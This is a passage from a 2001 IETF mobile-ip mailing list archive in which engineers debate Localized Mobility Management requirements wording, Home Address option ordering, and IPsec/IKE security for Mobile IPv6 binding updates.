        mobile-ip@sunroof.eng.sun.com, Cedric Westphal <cedric@iprg.nokia.com>,
        "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>,
        t.pagtzis@cs.ucl.ac.uk
Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01
	)
Date: Wed, 21 Nov 2001 12:32:41 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Carl, 

Looks fine. So did the last one !
The requirement said that the two (LMM and FMIP)
MUST BE _able_ to get deployed separately.
If you remove "able to get" from that statement
then I think you would think that the requirement
is mandating that they get deployed separately, which
is not the way I interepret it. 

BTW, I assume that you'll also remove the other 2 
reqts as agreed by Cedric, Theo, James, me ....etc
earlier on the list ?
The two are: 
1. The movement detection based on domain
   identification.
2. The L2 stuff !

Thanks, 
Hesham


-----Original Message-----
From: Carl Williams [mailto:carlw@docomolabs-usa.com]
Sent: Wednesday, November 21, 2001 3:56 AM
To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
.01)


> 
> Here is what the second paragraph says:
> 
>     LMM and any standardized Mobile IPv6
>     handover algorithm  MUST BE able to be deployed independently
>     of each other.
> 
> So please explain to me how an LMM solution that leverages
> a handover protocol could be separately deployed from
> the handover protocol?
> 
>                 jak
> 
> 

Hello James,  

Initially the requirement was written from the perspective
of an "optimized" MIPv6 handover scheme that was *optional*.

So with your proposal we are now not making any assumptions
about the nature of the handover scheme.  Indeed, it could just simply
be MIPv6.  I will use the suggested text and include:

3.9 Support for Mobile IPv6 Handover

Since one of the primary goals of LMM is to minimize
signaling during handover, an LMM solution MUST
be available for the standardized Mobile IPv6 handover
algorithms. LMM and the Mobile IPv6 handover algorithms
MUST maintain compatibility in their signaling interactions for
fulfilling complementary roles with respect to each other.


If anyone has any comments on this requirement, please
make your concerns known.

Thanks to all those who read the draft:) and provided feedback.

Carl



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 07:06:58 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10269
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 07:06:58 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA14119;
	Wed, 21 Nov 2001 04:06:22 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA16234;
	Wed, 21 Nov 2001 04:06:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALC5OLS005757
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 04:05:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALC5OmF005756
	for mobile-ip-dist; Wed, 21 Nov 2001 04:05:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALC5LLS005749
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 04:05:21 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA28163
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 04:05:21 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id EAA26787
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 04:05:19 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.20992-0@bells.cs.ucl.ac.uk>; Wed, 21 Nov 2001 12:05:00 +0000
Message-ID: <3BFB986A.F3DF1BCF@cs.ucl.ac.uk>
Date: Wed, 21 Nov 2001 12:04:58 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: "'Carl Williams'" <carlw@docomolabs-usa.com>,
        Cedric Westphal <cedric@iprg.nokia.com>,
        "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01 )
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit


True

"Hesham Soliman (ERA)" wrote:
> 
> Carl,
> 
> Looks fine. So did the last one !
> The requirement said that the two (LMM and FMIP)
> MUST BE _able_ to get deployed separately.
> If you remove "able to get" from that statement
> then I think you would think that the requirement
> is mandating that they get deployed separately, which
> is not the way I interepret it.
> 
> BTW, I assume that you'll also remove the other 2
> reqts as agreed by Cedric, Theo, James, me ....etc
> earlier on the list ?
> The two are:
> 1. The movement detection based on domain
>    identification.
> 2. The L2 stuff !
> 
> Thanks,
> Hesham
> 
> -----Original Message-----
> From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> Sent: Wednesday, November 21, 2001 3:56 AM
> To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
> Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
> Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
> .01)
> 
> >
> > Here is what the second paragraph says:
> >
> >     LMM and any standardized Mobile IPv6
> >     handover algorithm  MUST BE able to be deployed independently
> >     of each other.
> >
> > So please explain to me how an LMM solution that leverages
> > a handover protocol could be separately deployed from
> > the handover protocol?
> >
> >                 jak
> >
> >
> 
> Hello James,
> 
> Initially the requirement was written from the perspective
> of an "optimized" MIPv6 handover scheme that was *optional*.
> 
> So with your proposal we are now not making any assumptions
> about the nature of the handover scheme.  Indeed, it could just simply
> be MIPv6.  I will use the suggested text and include:
> 
> 3.9 Support for Mobile IPv6 Handover
> 
> Since one of the primary goals of LMM is to minimize
> signaling during handover, an LMM solution MUST
> be available for the standardized Mobile IPv6 handover
> algorithms. LMM and the Mobile IPv6 handover algorithms
> MUST maintain compatibility in their signaling interactions for
> fulfilling complementary roles with respect to each other.
> 
> If anyone has any comments on this requirement, please
> make your concerns known.
> 
> Thanks to all those who read the draft:) and provided feedback.
> 
> Carl


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 08:21:05 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13004
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 08:21:04 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA04571;
	Wed, 21 Nov 2001 05:20:00 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA18443;
	Wed, 21 Nov 2001 05:19:33 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALDIVLS005983
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 05:18:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALDIVTK005982
	for mobile-ip-dist; Wed, 21 Nov 2001 05:18:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALDISLS005975
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 05:18:28 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA18385
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 05:18:29 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA25132
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 05:18:24 -0800 (PST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fALDIM321943
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:18:22 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id OAA25794
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:18:22 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fALDIMD18530
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:18:22 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111211318.fALDIMD18530@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Mobile IPv6 draft 15 
In-reply-to: Your message of Tue, 20 Nov 2001 13:48:15 EST.
             <200111201848.AA27254@dogbert.zk3.dec.com> 
Date: Wed, 21 Nov 2001 14:18:22 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

   Of course it was dropped since during Binding Update processing we
   noticed we didn't have a Home Address (ala Section 8.2)...
   
=> you had it but you didn't already processed it. This is more
a proof that BU should not be destination options (:-), at least
you should agree that to support this case BUs should be processed
only when the terminal header is reached.

   I believe this ordering is invalid according to Section 4.2 of RFC 2460:
   
     The sequence of options within a header must be processed strictly in
     the order they appear in the header; a receiver must not, for
     example, scan through the header looking for a particular kind of
     option and process that option prior to processing all preceding
     ones.
   
   (thanks to Ken Powell for pointing this out to me)
   
=> I disagree, the meaning of the Section 4.2 is not what you suggest.

   [5.4]
    The Home Address option MUST be placed as follows:
   
     - After the Routing Header, if that header is present
     - Before the Fragment Header, if that header is present
     - Before the AH or ESP Header, if either one of those
       headers is present

=> note this clause is a good reason to put the home address option
in a destination option before the one with the BU. And as there can
be an IPsec header a lot of implementations will apply this in all cases.

     - Before any headers or options that require Home Address
       option information, such as a Binding Update option
   
   While one might think I just don't want to do more work since there is
   one implementation that handles this case, I can't believe the Home
   Address option was intended to be used in this way.
   
=> I disagree: this case (BU then HA) is so funny (and takes less bytes)!

Regards

Francis.Dupont@enst-bretagne.fr

PS: as this issue is in mobile IPv6 drafts since years, I believe
we should wait for security problem resolution before revisiting
this point.


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 08:32:37 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13544
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 08:32:37 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA05891;
	Wed, 21 Nov 2001 06:31:05 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19749;
	Wed, 21 Nov 2001 05:31:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALDULLS006142
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 05:30:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALDUL48006141
	for mobile-ip-dist; Wed, 21 Nov 2001 05:30:21 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALDUHLS006134
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 05:30:18 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19650;
	Wed, 21 Nov 2001 05:30:18 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA17613;
	Wed, 21 Nov 2001 05:30:16 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fALDUEC23946;
	Wed, 21 Nov 2001 14:30:14 +0100 (MET)
Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id fALDUDh18860;
	Wed, 21 Nov 2001 15:30:14 +0200 (EET)
Message-ID: <3BFBAC65.554EE85C@lmf.ericsson.se>
Date: Wed, 21 Nov 2001 15:30:13 +0200
From: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Additional comments on  
 draft-arkko-mipv6-bu-security-00.txt
References: <Roam.SIMC.2.0.6.1006258725.26726.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Erik Nordmark wrote:

> > Wouldn't this work the same way as any TCP or UDP application, i.e.
> > to them the CoAs are invisible?
> 
> I assumed 8.6 was related to using IKE/IPsec to secure BUs.
> In this case, unless you assume that the certificate used by IKE somehow will
> indicate that the holder of the cert "owns" a certain home address,
> I think such an approach needs to rely on return routability.
> 
> Thus the IKE packets, even when there is a binding cache entry, needs to
> go through the home agent when exchanging packets with the home address.
> Otherwise it might be possible for an attacker on a link
> where the MN used to be (i.e. that can intercept packets send to the old CoA
> just after the MN left) to use IKE (with some random certificate name) to
> create a SA that will be considered to be the MN.

I think this is an interesting issue, and we need some
further discussion before we have explored it fully.
My personal current belief is the following.

First, in general when we use "strong" authentication
we typically bind the authentication to some trust
root. You don't accept a VPN connection in just because
the other guys has a cert, there has to be some
chain of trust from that cert to you (not counting
opportunistic encryption ideas of course). Hence
an attacker can't just use a random certificate name.

Second, there are two approaches to using local PKIs:
One, you use it to define the set of Good Guys as
distinct from Bad Guys i.e. everyone else. For instance,
the Sun engineering department might have a VPN where
all engineers have certificates and can access all
services, regardless of where they are. Here, the
emphasis is on defining the good guys and trusting
them for (almost) everything, not just BUs but also
NFS traffic etc. For this purpose current PKIs
and IKE/IPsec are well-suited. In our example, if
we use the 6.4 approach on a local network to protect
all traffic then this would be my assumption that
we are doing.

The other approach is to use PKIs as a tool define
*what* various entities may do. This is generally
a less used approach and there may not be enough
tools around to do everything necessary. However,
on the particular case of IP address ownership
there is a field in X.509 certs to store one or
several IP addresses. Implementations are also
checking for the identities in the certs wrt. to
real identities. So, in theory you could
use this to declare the particular node must use
a particular address. However, I'm not sure how
practical that approach is given DHCP, frequently
changing static addresses, and the extra management.

If we had SPKI and not X.509, the address ownership
would be a lot easier to solve.

I'm not sure about the value of return routability with
strong authentication. If you really do authenticate
through some root, then this buys some protection
against a good guy turned to a bad guy. If you had
the IP address in the cert, you didn't add any value.
If you do not authenticate through some root, then
the whole strong authentication was useless, and you
could have achieved the same with just a return
routability test.

In conclusion, I think we can easily do the 
strong authentication in closed networks, but
you have to assume everyone's included in the
CA's trust is trustworthy. Other options also
exist, but are propably not very desireable.

Jari


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 11:35:24 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23507
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 11:35:24 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA19143;
	Wed, 21 Nov 2001 08:34:23 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA06247;
	Wed, 21 Nov 2001 08:31:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALGVJLS006359
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 08:31:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALGVJUA006358
	for mobile-ip-dist; Wed, 21 Nov 2001 08:31:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALGVFLS006351
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 08:31:15 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA02438;
	Wed, 21 Nov 2001 08:31:15 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA25767;
	Wed, 21 Nov 2001 09:31:31 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fALGVE821527;
	Wed, 21 Nov 2001 08:31:14 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ45773;
	Wed, 21 Nov 2001 08:30:38 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA23031; Wed, 21 Nov 2001 08:31:13 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15355.54993.647755.189495@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 08:31:13 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on  
 draft-arkko-mipv6-bu-security-00.txt
In-Reply-To: <3BFBAC65.554EE85C@lmf.ericsson.se>
References: <Roam.SIMC.2.0.6.1006258725.26726.nordmark@bebop.france>
	<3BFBAC65.554EE85C@lmf.ericsson.se>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I agree with Jari's analysis of the
authentication/authorization distinction below,
but it might prove useful to consider first
principles here, especially in light of Erik's
hindsight draft.

My understanding of IPsec is that it is a means of
enforcing access control which may be bound to
cryptographic mechanisms. That is, IPsec's first
step is to match an incoming packet to an access
control policy (SPD), and decide whether it should
admit or deny the packet's movement forward. For
entries which require a cryptographic policy, the
enforcement is accomplished by translating the
(effectively) static policy of the SPD into an
active entry in the SADB for some finite lifetime.
This translation can happen in two ways: either
statically by having the host manually create SADB
entries, or dynamically using a key distribution
protocol like IKE or KINK.

In both cases, what is important is the flow
classification step. The flow classification in
IPsec is much like flow classification elsewhere,
ie the normal 5-tuple. As such, what IPsec checks
on incoming packets is the source, destination,
protocol and abstracted transport layer ports.
There may be others, but they aren't important for
this discussion.

So when we talk about identity, we're talking
about what credentials are necessary to cause the
SDP's policy to be translated into active SADB
entries. For manual configuration, this is easy;
sneakernet is your identity module. For dynamic
establishment, it is whatever credentials the
policy module demand for that SDP rule. That might
be a preshared key, a signed X.509 certificate, or
a Kerberos credential. Thus the procedure is that
the presentation of given credential causes a
given policy entry to instantiate a SADB entry.
Then, subsequent packets will be subjected to the
cryptographic policy in the SPD of that 5-tuple
identifier.

Thus, it seems to me that the identity is linked
pretty closely to the actual presented IP address.
This gets somewhat murkier when you have
wildcarded SPD entries, but as Jari points out,
this is still useful for Bad Guys/Good Guys
filtering. If you cannot make that sort of broad
classification (say, users are not trustworthy),
you are forced to make either your policy or your
credentials very fine grained. That is, they need
to explicitly match a very fine grained policy
(eg, this credential matches this 5-tuple). With
fine grained policy comes provisioning issues. One
could have a complete enumeration of 5-tuple to
credential in the SPD, but this would be rather
onerous. Thus as Jari points out, it might be nice
to have the credential itself carry the
authorization information so that the SPD rule can
be relatively simple, where the construction of
the 5-tuple is based on the authorization in the
credential. How well IPsec actually provides for
this right now, I'm not sure -- I tend to believe
that Good Guys/ Bad Guys is the least common
denominator since that's generally all you need
for VPN's.

Mobile IP complicates this picture. While it's
pretty straightforward to fix the problems that
were in previous mipv6 drafts, IPsec's flow
classification rules are only limited to the same
5-tuple. That is, it matches off of *CoA*, not
home address. One implication here is that new
CoA's require new SADB entries to be established.
While this is certainly possible, it doesn't seem
especially optimal. There are two possible ways to
make this more efficient: add the ability for the
IPsec selector to consider the Home Address, or to
put the home address back into the source address.
I should point out that *everything* else that
classifies off of 5-tuples is in the same quandary
as IPsec, such as diffserv and intserv flow
classifiers. I'll also note that multihoming
presents a simliar quandry, so this entire
question needs to be considered with that issue in
mind as well; it's possible that the ultimate
culprit here is basing anything off of the classic
5-tuple, and that maybe we need an identity layer
ala HIP, or maybe prefix-less source address for
the 5-tuple classification.

So the question in my mind is why the CoA was
chosen over the home address for the source of the
IP packet from the mobile node. The main reason
I've heard is to play well with RPF checks.
However, recent discussion puts its utility in
some doubt: even if I pass RPF checks, I could
conceivably put any home address option I feel
like in the HAO thus defeating source spoofing
checking. Also: if the HAO needs to be bound to a
particular binding update to prevent this, then I
wonder why the HAO needs to be sent _at all_ since
the binding cache could record the home address
and do the substitution locally, rather than via
the protocol.

So what's the punchline for the 1% of people still
reading this? I think placing the CoA into the
source address causes many unforseen problems and
its stated goal of friendliness to RPF is
trivially defeated given the current formulation.
As such, I think that all of these protection
mechanisms should be reconsidered so that in the
end we have a solution which plays well with other
protocols, and is capable of providing useful edge
policing of source spoofing. It should be noted
that RPF is but *one* way to achieve that, and it
has known imperfections.

	  Mike

Jari Arkko writes:
 > Erik Nordmark wrote:
 > 
 > > > Wouldn't this work the same way as any TCP or UDP application, i.e.
 > > > to them the CoAs are invisible?
 > > 
 > > I assumed 8.6 was related to using IKE/IPsec to secure BUs.
 > > In this case, unless you assume that the certificate used by IKE somehow will
 > > indicate that the holder of the cert "owns" a certain home address,
 > > I think such an approach needs to rely on return routability.
 > > 
 > > Thus the IKE packets, even when there is a binding cache entry, needs to
 > > go through the home agent when exchanging packets with the home address.
 > > Otherwise it might be possible for an attacker on a link
 > > where the MN used to be (i.e. that can intercept packets send to the old CoA
 > > just after the MN left) to use IKE (with some random certificate name) to
 > > create a SA that will be considered to be the MN.
 > 
 > I think this is an interesting issue, and we need some
 > further discussion before we have explored it fully.
 > My personal current belief is the following.
 > 
 > First, in general when we use "strong" authentication
 > we typically bind the authentication to some trust
 > root. You don't accept a VPN connection in just because
 > the other guys has a cert, there has to be some
 > chain of trust from that cert to you (not counting
 > opportunistic encryption ideas of course). Hence
 > an attacker can't just use a random certificate name.
 > 
 > Second, there are two approaches to using local PKIs:
 > One, you use it to define the set of Good Guys as
 > distinct from Bad Guys i.e. everyone else. For instance,
 > the Sun engineering department might have a VPN where
 > all engineers have certificates and can access all
 > services, regardless of where they are. Here, the
 > emphasis is on defining the good guys and trusting
 > them for (almost) everything, not just BUs but also
 > NFS traffic etc. For this purpose current PKIs
 > and IKE/IPsec are well-suited. In our example, if
 > we use the 6.4 approach on a local network to protect
 > all traffic then this would be my assumption that
 > we are doing.
 > 
 > The other approach is to use PKIs as a tool define
 > *what* various entities may do. This is generally
 > a less used approach and there may not be enough
 > tools around to do everything necessary. However,
 > on the particular case of IP address ownership
 > there is a field in X.509 certs to store one or
 > several IP addresses. Implementations are also
 > checking for the identities in the certs wrt. to
 > real identities. So, in theory you could
 > use this to declare the particular node must use
 > a particular address. However, I'm not sure how
 > practical that approach is given DHCP, frequently
 > changing static addresses, and the extra management.
 > 
 > If we had SPKI and not X.509, the address ownership
 > would be a lot easier to solve.
 > 
 > I'm not sure about the value of return routability with
 > strong authentication. If you really do authenticate
 > through some root, then this buys some protection
 > against a good guy turned to a bad guy. If you had
 > the IP address in the cert, you didn't add any value.
 > If you do not authenticate through some root, then
 > the whole strong authentication was useless, and you
 > could have achieved the same with just a return
 > routability test.
 > 
 > In conclusion, I think we can easily do the 
 > strong authentication in closed networks, but
 > you have to assume everyone's included in the
 > CA's trust is trustworthy. Other options also
